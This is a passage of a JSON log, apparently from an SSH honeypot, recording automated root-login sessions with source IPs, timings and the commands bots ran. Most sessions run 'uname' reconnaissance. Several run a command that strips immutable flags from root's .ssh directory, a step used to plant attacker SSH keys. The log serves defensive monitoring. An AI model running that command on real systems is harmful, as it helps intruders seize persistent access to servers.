  "ended_at": "2026-08-26T12:36:55.565191+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bf9cf518-07a7-4586-a6e7-b2e8fd89179e",
  "name": "scarlet-dutiful-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 729,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:35:17.036607+00:00",
  "ended_at": "2026-08-26T12:35:21.457617+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fd5e73d9-7a6d-480d-a664-5af3f8f8537f",
  "name": "merry-umber-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55540,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 810,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:32:22.007883+00:00",
  "ended_at": "2026-08-26T12:32:26.772328+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eb27f786-f25a-4b14-851a-9c3d83201752",
  "name": "russet-granite-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 47094,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 844,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:31:47.892818+00:00",
  "ended_at": "2026-08-26T12:31:49.654955+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "31d0c0da-6d88-46f4-b8d4-cd3bc20814ca",
  "name": "rapid-bronzed-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 369,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:31:41.513745+00:00",
  "ended_at": "2026-08-26T12:31:45.468012+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "65159989-e694-47cb-958b-e59d3b97e3fc",
  "name": "steady-bold-vicuna",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47112,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:31:25.196560+00:00",
  "ended_at": "2026-08-26T12:31:26.212890+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24af917c-c975-4918-8dbb-68656cac4acc",
  "name": "stormy-regal-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35024,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 409,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:31:21.687116+00:00",
  "ended_at": "2026-08-26T12:31:24.420390+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b205b331-9a37-45cc-b540-e6b801f5052d",
  "name": "jaunty-somber-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 547,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:31:00.796929+00:00",
  "ended_at": "2026-08-26T12:31:05.052950+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "14907904-df17-41fe-8e29-34189c81ddc2",
  "name": "jovial-quaint-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 39358,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:29:23.397709+00:00",
  "ended_at": "2026-08-26T12:29:24.368360+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "0d06f611-316d-4998-9197-dca43e2f1d03",
  "name": "autumn-gleaming-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 46894,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 879,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:28:54.695359+00:00",
  "ended_at": "2026-08-26T12:28:56.430434+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0a5f334f-57bf-4ae9-bc1c-8ab9b76340be",
  "name": "foggy-balmy-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46910,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:28:30.994825+00:00",
  "ended_at": "2026-08-26T12:28:32.852397+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40981d5b-430b-45b5-ab30-f6ec2373b500",
  "name": "thorny-chilly-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55020,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 395,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:28:05.825502+00:00",
  "ended_at": "2026-08-26T12:28:08.793615+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8eebb20c-4338-4603-966f-79fc086c2698",
  "name": "hearty-thrifty-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47218,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 550,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:27:49.946605+00:00",
  "ended_at": "2026-08-26T12:27:55.566494+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f434af29-f07b-449e-94c6-f4040c81372c",
  "name": "frank-vaulted-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56238,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 489,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:27:09.866446+00:00",
  "ended_at": "2026-08-26T12:27:13.502567+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "76115ea6-5092-4f2c-b113-2e1a5ff1980e",
  "name": "coastal-lucid-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46906,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 544,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:26:44.526508+00:00",
  "ended_at": "2026-08-26T12:26:48.810663+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "93437396-3d9d-4b61-adb7-43384cec9f9e",
  "name": "western-crystal-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53686,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 453,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:26:19.500066+00:00",
  "ended_at": "2026-08-26T12:26:26.370066+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "90967c2e-631d-4651-b13d-c1a3a302f9ba",
  "name": "hushed-daring-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 46696,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 878,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:26:11.600364+00:00",
  "ended_at": "2026-08-26T12:26:12.993685+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "da32af1c-c6a1-491e-9c2f-1798d9b3fb30",
  "name": "shifting-plush-boar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46712,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:25:46.507247+00:00",
  "ended_at": "2026-08-26T12:25:47.346293+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3a2a65e9-5934-4a35-b007-bb0a8890fbe5",
  "name": "rambling-idle-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59374,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 640,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:25:41.728186+00:00",
  "ended_at": "2026-08-26T12:25:47.716533+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f8d25557-7644-42af-9d8d-d3d21b00a1c2",
  "name": "noble-calm-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34064,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 888,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:25:12.185280+00:00",
  "ended_at": "2026-08-26T12:25:16.947162+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7777053d-8b6b-45d7-ae8b-8b53cfc5914e",
  "name": "freckled-genial-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37224,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 665,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:25:03.725810+00:00",
  "ended_at": "2026-08-26T12:25:08.584080+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5f7ff9b1-89fe-415c-906f-9246219f73ae",
  "name": "alpine-amber-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35542,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 582,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:24:05.810476+00:00",
  "ended_at": "2026-08-26T12:24:10.358196+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "07fc4f88-4eb5-46d2-96f7-3b5605152b75",
  "name": "chilly-earnest-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44850,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 489,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:23:49.606565+00:00",
  "ended_at": "2026-08-26T12:23:53.958908+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a79afc1b-5d67-4372-91b6-cf26228ad2c8",
  "name": "verdant-lanky-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 46502,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 859,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:23:35.889598+00:00",
  "ended_at": "2026-08-26T12:23:37.501096+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "4a4b6b96-558c-4f7b-84f7-33fd31af7eaa",
  "name": "genial-rapid-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56394,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:23:33.922785+00:00",
  "ended_at": "2026-08-26T12:23:39.708119+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "095e506b-2171-4ea4-8c00-db3c299b53f2",
  "name": "somber-steady-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46518,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:23:11.998484+00:00",
  "ended_at": "2026-08-26T12:23:13.292815+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "63a598f2-3ffb-402e-8a28-649f0e316c9c",
  "name": "sleepy-hazy-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59272,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 496,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:22:43.787190+00:00",
  "ended_at": "2026-08-26T12:22:48.636961+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fc4b91cf-99ed-4f15-9858-4f7c0196fe51",
  "name": "hardy-austere-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:21:34.495682+00:00",
  "ended_at": "2026-08-26T12:21:38.917678+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "da73558c-0f31-44af-8eb5-20d7c25f2965",
  "name": "thorny-emerald-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54174,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 382,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:20:34.805551+00:00",
  "ended_at": "2026-08-26T12:20:38.776621+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3b06ce73-1baf-455c-b9ac-d77dbd2b0186",
  "name": "sincere-seaward-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48636,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 819,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:19:57.972996+00:00",
  "ended_at": "2026-08-26T12:20:03.195422+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ceac974f-b5b2-4514-9214-c3a2ad82526d",
  "name": "muted-rapid-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1040,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:19:34.778704+00:00",
  "ended_at": "2026-08-26T12:19:39.751567+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f8bae0ec-d494-48f9-b0b1-383044765f80",
  "name": "slender-burly-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51420,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 908,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:19:13.474957+00:00",
  "ended_at": "2026-08-26T12:19:17.314341+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1347962e-802c-43d7-814a-3a7127b6575b",
  "name": "pleasant-smoky-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46198,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 375,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:18:16.819145+00:00",
  "ended_at": "2026-08-26T12:18:22.085705+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d0c84a6f-cbdf-4679-90b6-2da258957f10",
  "name": "coastal-arctic-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37532,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 542,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:17:54.857125+00:00",
  "ended_at": "2026-08-26T12:17:58.219690+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c28e7da2-61c4-4fac-b121-189ca10ec555",
  "name": "crystal-serene-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49080,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 887,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:17:40.202773+00:00",
  "ended_at": "2026-08-26T12:17:43.665823+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ebf3f6e8-620b-4aad-9e8a-b96e413e9a9e",
  "name": "faded-regal-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51898,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:16:57.410038+00:00",
  "ended_at": "2026-08-26T12:17:04.187872+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b2443e7c-ef45-4e0b-b2bd-e31bb91e699a",
  "name": "smoky-canny-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39580,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 926,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:16:14.378581+00:00",
  "ended_at": "2026-08-26T12:16:19.104844+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3cee6f19-a370-4fb6-9377-8e13d038d76d",
  "name": "clever-brisk-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44864,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1179,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:15:51.078791+00:00",
  "ended_at": "2026-08-26T12:15:56.577898+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f8b4e480-6eb9-43b4-a8e6-d0eedd0f41e1",
  "name": "tidal-mindful-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47610,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1381,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:15:49.222138+00:00",
  "ended_at": "2026-08-26T12:15:55.434109+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "72f139c4-66fa-4111-b254-65841d7e3f3b",
  "name": "stormy-plush-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36768,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1058,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:15:25.105119+00:00",
  "ended_at": "2026-08-26T12:15:31.129059+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8214b350-ff89-48e2-8fc9-1322ba610469",
  "name": "proud-granite-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 45894,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 841,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:15:22.489710+00:00",
  "ended_at": "2026-08-26T12:15:23.905239+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "0b9f0e59-6863-4301-a4a7-6361752915e9",
  "name": "brisk-fleeting-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57802,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1252,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:15:04.994676+00:00",
  "ended_at": "2026-08-26T12:15:10.773233+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "27a1f416-7522-4984-a555-5f07d0ebe4c9",
  "name": "misty-obsidian-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45910,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:14:59.789963+00:00",
  "ended_at": "2026-08-26T12:15:00.588831+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c4d5897-711c-4c23-ba1f-7471fcba2bdb",
  "name": "silent-mellow-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54274,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 638,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:14:48.650928+00:00",
  "ended_at": "2026-08-26T12:14:53.319829+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "36467011-1ea6-433b-9d61-0b09593b5220",
  "name": "icy-umber-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 826,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:14:42.513691+00:00",
  "ended_at": "2026-08-26T12:14:45.978264+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c3009364-dd01-4568-9cd9-4f93e826103d",
  "name": "mighty-plush-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59514,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1119,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:14:20.370342+00:00",
  "ended_at": "2026-08-26T12:14:25.921634+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c31de716-4406-4434-953d-0691c39dcc7c",
  "name": "glacial-clever-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35486,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1164,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:13:52.874711+00:00",
  "ended_at": "2026-08-26T12:13:56.187328+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ff580137-b759-46b2-9a30-75172b4814ac",
  "name": "merry-stoic-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41668,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1038,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:13:42.670832+00:00",
  "ended_at": "2026-08-26T12:13:45.725516+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f565c60c-3177-44a7-aa2e-c07fa2731777",
  "name": "upland-cosmic-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52260,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 960,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:13:28.716159+00:00",
  "ended_at": "2026-08-26T12:13:33.346511+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "41ec9c90-cb07-4820-bc0c-b2b99517f0b6",
  "name": "chilly-ancient-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 45700,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 857,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:12:36.692031+00:00",
  "ended_at": "2026-08-26T12:12:38.092738+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2271
 },
 {
  "id": "e0c20725-4736-4499-b6ce-c3d0651e2e49",
  "name": "seaward-rapid-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 41226,
  "username": "root",
